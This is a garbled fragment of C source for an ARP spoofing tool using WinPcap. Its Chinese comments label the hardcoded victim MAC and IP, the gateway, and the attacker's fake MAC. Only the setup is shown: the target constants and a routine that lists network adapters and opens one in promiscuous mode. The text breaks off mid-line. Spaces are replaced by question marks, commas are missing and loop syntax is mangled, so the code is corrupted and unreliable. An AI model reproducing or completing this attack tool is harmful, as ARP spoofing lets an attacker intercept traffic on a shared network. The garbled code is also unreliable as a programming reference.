#include?
#include?
#include?“arp_spoof.h“

const?unsigned?char?VICTIM_MAC[MAC_LEN]	=?{0x00?0x21?0x00?0x38?0xD4?0xC4};	//被攻擊方的MAC
const?unsigned?char?GATEWAY_MAC[MAC_LEN]?=?{0xC0?0x3F?0x0E?0xB8?0x36?0x1C};?//網關的MAC
const?unsigned?char?FAKE_MAC[MAC_LEN]?=?{0x00?0x21?0x5D?0x1E?0x9B?0xE2};	//攻擊者的MAC
const?char??VICTIM_IP[]	=?“10.0.0.8“;	//被攻擊方IP
const?char	GATEWAY_IP[]?=?“10.0.0.1“;	//網關IP?

char?errbuf[PCAP_ERRBUF_SIZE];

//選擇網卡
int?select_adapter（pcap_t?**handle）?{
	pcap_if_t?*alldevs;
	pcap_if_t?*d;
	int?inum;
	int?i=0;

	
	/*?Retrieve?the?device?list?*/
	if（pcap_findalldevs（&alldevs?errbuf）?==?-1）
	{
		fprintf（stderr“Error?in?pcap_findalldevs:?%s\n“?errbuf）;
		exit（1）;
	}
	
	/*?Print?the?list?*/
	for（d=alldevs;?d;?d=d->next）
	{
		printf（“%d.?%s“?++i?d->name）;
		if?（d->description）
			printf（“?（%s）\n“?d->description）;
		else
			printf（“?（No?description?available）\n“）;
	}
	
	if（i==0）
	{
		printf（“\nNo?interfaces?found!?Make?sure?WinPcap?is?installed.\n“）;
		return?-1;
	}
	
	printf（“Enter?the?interface?number?（1-%d）:“i）;
	scanf（“%d“?&inum）;
	
	if（inum??i）
	{
		printf（“\nInterface?number?out?of?range.\n“）;
		/*?Free?the?device?list?*/
		pcap_freealldevs（alldevs）;
		return?-1;
	}
	
	/*?Jump?to?the?selected?adapter?*/
	for（d=alldevs?i=0;?inext?i++）;
	
	/*?Open?the?device?*/
	/*?Open?the?adapter?*/
	if?（（*handle=?pcap_open_live（d->name	//?name?of?the?device
							?65536			//?portion?of?the?packet?to?capture.?
											//?65536?grants?that?the?whole?packet?will?be?captured?on?all?the?MACs.
							?PCAP_OPENFLAG_PROMISCUOUS				//?promiscuous?mode?（nonzero?means?promiscuous）
							?1000			//?read?timeout
							?errbuf			//?error?buffer
							?））?==?NULL）
	{
		fprintf（stderr“\nUnable?to?open?the?adapter.?%s?is?not?supported?by?WinP